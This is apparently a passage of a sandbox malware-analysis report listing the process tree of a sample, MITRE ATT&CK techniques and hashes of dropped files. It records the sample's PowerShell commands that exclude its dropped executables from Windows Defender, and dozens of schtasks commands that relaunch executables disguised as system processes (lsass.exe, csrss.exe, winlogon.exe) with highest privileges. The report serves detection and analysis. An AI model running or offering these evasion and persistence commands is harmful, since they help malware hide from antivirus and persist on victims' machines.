        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\providercommon\lsass.exe'
        8⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:604
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\providercommon\services.exe'
        8⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:4348
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Windows\Setup\State\explorer.exe'
        8⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:2920
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Recovery\WindowsRE\OfficeClickToRun.exe'
        8⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:4388
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\Adobe\Registry.exe'
        8⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:4008
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files\Windows Media Player\ja-JP\taskhostw.exe'
        8⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:3220
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\odt\smss.exe'
        8⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:4316
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\providercommon\dwm.exe'
        8⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:1912
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\Public\Libraries\WaaSMedicAgent.exe'
        8⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:508
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\providercommon\lsass.exe'
        8⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:2468
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\Reference Assemblies\winlogon.exe'
        8⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:4528
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\odt\System.exe'
        8⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:3976
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files\Microsoft Office\root\lsass.exe'
        8⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:348
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\Windows NT\Accessories\en-US\fontdrvhost.exe'
        8⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:2284
        
        C:\Program Files (x86)\Windows NT\Accessories\en-US\fontdrvhost.exe
        
        "C:\Program Files (x86)\Windows NT\Accessories\en-US\fontdrvhost.exe"
        8⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:4408
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Windows\PolicyDefinitions\it-IT\fontdrvhost.exe'
        6⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:1396
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\providercommon\services.exe'
        6⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:2460
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\odt\SppExtComObj.exe'
        6⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2316

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sihosts" /sc MINUTE /mo 9 /tr "'C:\Recovery\WindowsRE\sihost.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4256

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sihost" /sc ONLOGON /tr "'C:\Recovery\WindowsRE\sihost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
PID:2312

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sihosts" /sc MINUTE /mo 10 /tr "'C:\Recovery\WindowsRE\sihost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
PID:4612

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "StartMenuExperienceHostS" /sc MINUTE /mo 5 /tr "'C:\Program Files\Google\Chrome\Application\SetupMetrics\StartMenuExperienceHost.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1592

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "StartMenuExperienceHost" /sc ONLOGON /tr "'C:\Program Files\Google\Chrome\Application\SetupMetrics\StartMenuExperienceHost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4400

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "StartMenuExperienceHostS" /sc MINUTE /mo 8 /tr "'C:\Program Files\Google\Chrome\Application\SetupMetrics\StartMenuExperienceHost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:204

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RegistryR" /sc MINUTE /mo 5 /tr "'C:\Windows\SoftwareDistribution\DataStore\Logs\Registry.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:228

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "Registry" /sc ONLOGON /tr "'C:\Windows\SoftwareDistribution\DataStore\Logs\Registry.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
PID:4208

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RegistryR" /sc MINUTE /mo 13 /tr "'C:\Windows\SoftwareDistribution\DataStore\Logs\Registry.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2380

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "taskhostwt" /sc MINUTE /mo 13 /tr "'C:\Recovery\WindowsRE\taskhostw.exe'" /f
1⤵
- Process spawned unexpected child process
PID:3180

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "taskhostw" /sc ONLOGON /tr "'C:\Recovery\WindowsRE\taskhostw.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
PID:4184

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "taskhostwt" /sc MINUTE /mo 12 /tr "'C:\Recovery\WindowsRE\taskhostw.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:3076

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "lsassl" /sc MINUTE /mo 12 /tr "'C:\providercommon\lsass.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:5084

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "lsass" /sc ONLOGON /tr "'C:\providercommon\lsass.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4004

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "lsassl" /sc MINUTE /mo 5 /tr "'C:\providercommon\lsass.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
PID:2104

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "SppExtComObjS" /sc MINUTE /mo 9 /tr "'C:\odt\SppExtComObj.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2888

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "SppExtComObj" /sc ONLOGON /tr "'C:\odt\SppExtComObj.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
PID:3944

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "SppExtComObjS" /sc MINUTE /mo 12 /tr "'C:\odt\SppExtComObj.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2308

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "csrssc" /sc MINUTE /mo 10 /tr "'C:\Windows\Containers\serviced\csrss.exe'" /f
1⤵
- Process spawned unexpected child process
PID:4228

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "csrss" /sc ONLOGON /tr "'C:\Windows\Containers\serviced\csrss.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2092

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "csrssc" /sc MINUTE /mo 10 /tr "'C:\Windows\Containers\serviced\csrss.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4176

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "powershellp" /sc MINUTE /mo 12 /tr "'C:\Windows\schemas\AvailableNetwork\powershell.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4680

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "powershell" /sc ONLOGON /tr "'C:\Windows\schemas\AvailableNetwork\powershell.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:3436

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "powershellp" /sc MINUTE /mo 11 /tr "'C:\Windows\schemas\AvailableNetwork\powershell.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4592

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "servicess" /sc MINUTE /mo 6 /tr "'C:\providercommon\services.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4140

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "services" /sc ONLOGON /tr "'C:\providercommon\services.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4308

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "servicess" /sc MINUTE /mo 8 /tr "'C:\providercommon\services.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4028

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "fontdrvhostf" /sc MINUTE /mo 5 /tr "'C:\Windows\PolicyDefinitions\it-IT\fontdrvhost.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:5044

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "fontdrvhost" /sc ONLOGON /tr "'C:\Windows\PolicyDefinitions\it-IT\fontdrvhost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4972

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "upfcu" /sc MINUTE /mo 10 /tr "'C:\Program Files\VideoLAN\upfc.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4404

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "upfc" /sc ONLOGON /tr "'C:\Program Files\VideoLAN\upfc.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4964

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "spoolsvs" /sc MINUTE /mo 12 /tr "'C:\Program Files\Windows Portable Devices\spoolsv.exe'" /f
1⤵
- Process spawned unexpected child process
PID:4668

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "spoolsv" /sc ONLOGON /tr "'C:\Program Files\Windows Portable Devices\spoolsv.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1384

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "spoolsvs" /sc MINUTE /mo 10 /tr "'C:\Program Files\Windows Portable Devices\spoolsv.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
PID:4296

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "upfcu" /sc MINUTE /mo 5 /tr "'C:\Program Files\VideoLAN\upfc.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4880

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "fontdrvhostf" /sc MINUTE /mo 8 /tr "'C:\Windows\PolicyDefinitions\it-IT\fontdrvhost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
PID:4384

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 7 /tr "'C:\Windows\assembly\NativeImages_v2.0.50727_64\System.Management.A#\f8458c8de3d147a80d90bfeb1dbda24e\RuntimeBroker.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4752

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RuntimeBroker" /sc ONLOGON /tr "'C:\Windows\assembly\NativeImages_v2.0.50727_64\System.Management.A#\f8458c8de3d147a80d90bfeb1dbda24e\RuntimeBroker.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:812

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 6 /tr "'C:\Windows\assembly\NativeImages_v2.0.50727_64\System.Management.A#\f8458c8de3d147a80d90bfeb1dbda24e\RuntimeBroker.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1048

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "conhostc" /sc MINUTE /mo 14 /tr "'C:\Program Files\Windows Portable Devices\conhost.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2736

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "conhost" /sc ONLOGON /tr "'C:\Program Files\Windows Portable Devices\conhost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4728

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "conhostc" /sc MINUTE /mo 5 /tr "'C:\Program Files\Windows Portable Devices\conhost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
PID:3776

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "powershellp" /sc MINUTE /mo 14 /tr "'C:\Recovery\WindowsRE\powershell.exe'" /f
1⤵
- Process spawned unexpected child process
PID:4320

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "powershell" /sc ONLOGON /tr "'C:\Recovery\WindowsRE\powershell.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4936

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "powershellp" /sc MINUTE /mo 5 /tr "'C:\Recovery\WindowsRE\powershell.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4412

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "upfcu" /sc MINUTE /mo 12 /tr "'C:\Recovery\WindowsRE\upfc.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4372

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "upfc" /sc ONLOGON /tr "'C:\Recovery\WindowsRE\upfc.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4796

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "upfcu" /sc MINUTE /mo 12 /tr "'C:\Recovery\WindowsRE\upfc.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:3956

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "powershellp" /sc MINUTE /mo 14 /tr "'C:\Program Files (x86)\Windows Portable Devices\powershell.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4264

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "powershell" /sc ONLOGON /tr "'C:\Program Files (x86)\Windows Portable Devices\powershell.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4408

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "powershellp" /sc MINUTE /mo 6 /tr "'C:\Program Files (x86)\Windows Portable Devices\powershell.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:3372

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "lsassl" /sc MINUTE /mo 9 /tr "'C:\providercommon\lsass.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2948

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "lsass" /sc ONLOGON /tr "'C:\providercommon\lsass.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:3624

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "lsassl" /sc MINUTE /mo 11 /tr "'C:\providercommon\lsass.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
PID:4416

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "servicess" /sc MINUTE /mo 13 /tr "'C:\providercommon\services.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:3568

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "services" /sc ONLOGON /tr "'C:\providercommon\services.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4240

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "servicess" /sc MINUTE /mo 5 /tr "'C:\providercommon\services.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:348

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RegistryR" /sc MINUTE /mo 11 /tr "'C:\Program Files (x86)\Adobe\Registry.exe'" /f
1⤵
- Process spawned unexpected child process
PID:4848

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "Registry" /sc ONLOGON /tr "'C:\Program Files (x86)\Adobe\Registry.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:532

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RegistryR" /sc MINUTE /mo 13 /tr "'C:\Program Files (x86)\Adobe\Registry.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
PID:2852

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "explorere" /sc MINUTE /mo 5 /tr "'C:\Windows\Setup\State\explorer.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2864

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "explorer" /sc ONLOGON /tr "'C:\Windows\Setup\State\explorer.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1676

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "explorere" /sc MINUTE /mo 10 /tr "'C:\Windows\Setup\State\explorer.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2600

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "OfficeClickToRunO" /sc MINUTE /mo 14 /tr "'C:\Recovery\WindowsRE\OfficeClickToRun.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4400

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "OfficeClickToRun" /sc ONLOGON /tr "'C:\Recovery\WindowsRE\OfficeClickToRun.exe'" /rl HIGHEST /f
1⤵
PID:2892

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "OfficeClickToRunO" /sc MINUTE /mo 9 /tr "'C:\Recovery\WindowsRE\OfficeClickToRun.exe'" /rl HIGHEST /f
1⤵
PID:4296

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "SystemS" /sc MINUTE /mo 10 /tr "'C:\odt\System.exe'" /f
1⤵
- Creates scheduled task(s)
PID:3656

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "System" /sc ONLOGON /tr "'C:\odt\System.exe'" /rl HIGHEST /f
1⤵
PID:2428

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "SystemS" /sc MINUTE /mo 5 /tr "'C:\odt\System.exe'" /rl HIGHEST /f
1⤵
- Creates scheduled task(s)
PID:2308

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "taskhostwt" /sc MINUTE /mo 12 /tr "'C:\Program Files\Windows Media Player\ja-JP\taskhostw.exe'" /f
1⤵
- Creates scheduled task(s)
PID:4536

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "taskhostw" /sc ONLOGON /tr "'C:\Program Files\Windows Media Player\ja-JP\taskhostw.exe'" /rl HIGHEST /f
1⤵
PID:3436

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "taskhostwt" /sc MINUTE /mo 8 /tr "'C:\Program Files\Windows Media Player\ja-JP\taskhostw.exe'" /rl HIGHEST /f
1⤵
- Creates scheduled task(s)
PID:4784

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "smsss" /sc MINUTE /mo 10 /tr "'C:\odt\smss.exe'" /f
1⤵
PID:3952

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "smss" /sc ONLOGON /tr "'C:\odt\smss.exe'" /rl HIGHEST /f
1⤵
- Creates scheduled task(s)
- Suspicious use of AdjustPrivilegeToken
PID:3076

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "smsss" /sc MINUTE /mo 12 /tr "'C:\odt\smss.exe'" /rl HIGHEST /f
1⤵
PID:2596

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "dwmd" /sc MINUTE /mo 14 /tr "'C:\providercommon\dwm.exe'" /f
1⤵
- Creates scheduled task(s)
PID:3152

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "dwm" /sc ONLOGON /tr "'C:\providercommon\dwm.exe'" /rl HIGHEST /f
1⤵
- Creates scheduled task(s)
PID:3908

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "dwmd" /sc MINUTE /mo 13 /tr "'C:\providercommon\dwm.exe'" /rl HIGHEST /f
1⤵
- Creates scheduled task(s)
PID:2420

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "lsassl" /sc MINUTE /mo 5 /tr "'C:\providercommon\lsass.exe'" /f
1⤵
- Creates scheduled task(s)
PID:3668

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "lsass" /sc ONLOGON /tr "'C:\providercommon\lsass.exe'" /rl HIGHEST /f
1⤵
- Creates scheduled task(s)
PID:1532

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "lsassl" /sc MINUTE /mo 8 /tr "'C:\providercommon\lsass.exe'" /rl HIGHEST /f
1⤵
PID:2544

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "WaaSMedicAgentW" /sc MINUTE /mo 14 /tr "'C:\Users\Public\Libraries\WaaSMedicAgent.exe'" /f
1⤵
- Creates scheduled task(s)
PID:4916

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "WaaSMedicAgent" /sc ONLOGON /tr "'C:\Users\Public\Libraries\WaaSMedicAgent.exe'" /rl HIGHEST /f
1⤵
- Creates scheduled task(s)
PID:4508

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "WaaSMedicAgentW" /sc MINUTE /mo 7 /tr "'C:\Users\Public\Libraries\WaaSMedicAgent.exe'" /rl HIGHEST /f
1⤵
PID:4340

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "winlogonw" /sc MINUTE /mo 11 /tr "'C:\Program Files (x86)\Reference Assemblies\winlogon.exe'" /f
1⤵
- Creates scheduled task(s)
PID:4856

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "winlogon" /sc ONLOGON /tr "'C:\Program Files (x86)\Reference Assemblies\winlogon.exe'" /rl HIGHEST /f
1⤵
- Creates scheduled task(s)
PID:4912

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "winlogonw" /sc MINUTE /mo 7 /tr "'C:\Program Files (x86)\Reference Assemblies\winlogon.exe'" /rl HIGHEST /f
1⤵
- Creates scheduled task(s)
PID:2228

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "fontdrvhostf" /sc MINUTE /mo 7 /tr "'C:\Program Files (x86)\Windows NT\Accessories\en-US\fontdrvhost.exe'" /f
1⤵
PID:4040

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "fontdrvhost" /sc ONLOGON /tr "'C:\Program Files (x86)\Windows NT\Accessories\en-US\fontdrvhost.exe'" /rl HIGHEST /f
1⤵
- Creates scheduled task(s)
PID:1256

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "fontdrvhostf" /sc MINUTE /mo 6 /tr "'C:\Program Files (x86)\Windows NT\Accessories\en-US\fontdrvhost.exe'" /rl HIGHEST /f
1⤵
- Creates scheduled task(s)
PID:2524

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "lsassl" /sc MINUTE /mo 10 /tr "'C:\Program Files\Microsoft Office\root\lsass.exe'" /f
1⤵
PID:4588

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "lsass" /sc ONLOGON /tr "'C:\Program Files\Microsoft Office\root\lsass.exe'" /rl HIGHEST /f
1⤵
PID:3212

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "lsassl" /sc MINUTE /mo 9 /tr "'C:\Program Files\Microsoft Office\root\lsass.exe'" /rl HIGHEST /f
1⤵
PID:812

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Web Service

T1102

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Program Files (x86)\Windows NT\Accessories\en-US\fontdrvhost.exe

Filesize
1.0MB

MD5
bd31e94b4143c4ce49c17d3af46bcad0

SHA1
f8c51ff3ff909531d9469d4ba1bbabae101853ff

SHA256
b5199d3eb28e7de8ec4a5de66cb339a03d90b297e2292473badaab98ade15c63

SHA512
f96658bd19b672fd84038bd7e95c89e14f4e6f84e3ce9c6fe3216861a41203406148c6a809c2ab350d0d6c5919c845f619deb1fc9b1f1814dfce87e566bc2394

Download Submit
C:\Program Files (x86)\Windows NT\Accessories\en-US\fontdrvhost.exe

Filesize
1.0MB

MD5
bd31e94b4143c4ce49c17d3af46bcad0

SHA1
f8c51ff3ff909531d9469d4ba1bbabae101853ff

SHA256
b5199d3eb28e7de8ec4a5de66cb339a03d90b297e2292473badaab98ade15c63

SHA512
f96658bd19b672fd84038bd7e95c89e14f4e6f84e3ce9c6fe3216861a41203406148c6a809c2ab350d0d6c5919c845f619deb1fc9b1f1814dfce87e566bc2394

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\DllCommonsvc.exe.log

Filesize
1KB

MD5
7f3c0ae41f0d9ae10a8985a2c327b8fb

SHA1
d58622bf6b5071beacf3b35bb505bde2000983e3

SHA256
519fceae4d0dd4d09edd1b81bcdfa8aeab4b59eee77a4cd4b6295ce8e591a900

SHA512
8a8fd17eef071f86e672cba0d8fc2cfed6118aff816100b9d7c06eb96443c04c04bc5692259c8d7ecb1563e877921939c61726605af4f969e3f586f0913ed125

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
d28a889fd956d5cb3accfbaf1143eb6f

SHA1
157ba54b365341f8ff06707d996b3635da8446f7

SHA256
21e5d7ccf80a293e6ba30ed728846ca19c929c52b96e2c8d34e27cd2234f1d45

SHA512
0b6d88deb9be85722e6a78d5886d49f2caf407a59e128d2b4ed74c1356f9928c40048a62731959f2460e9ff9d9feee311043d2a37abe3bb92c2b76a44281478c

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
d28a889fd956d5cb3accfbaf1143eb6f

SHA1
157ba54b365341f8ff06707d996b3635da8446f7

SHA256
21e5d7ccf80a293e6ba30ed728846ca19c929c52b96e2c8d34e27cd2234f1d45

SHA512
0b6d88deb9be85722e6a78d5886d49f2caf407a59e128d2b4ed74c1356f9928c40048a62731959f2460e9ff9d9feee311043d2a37abe3bb92c2b76a44281478c

Download Submit
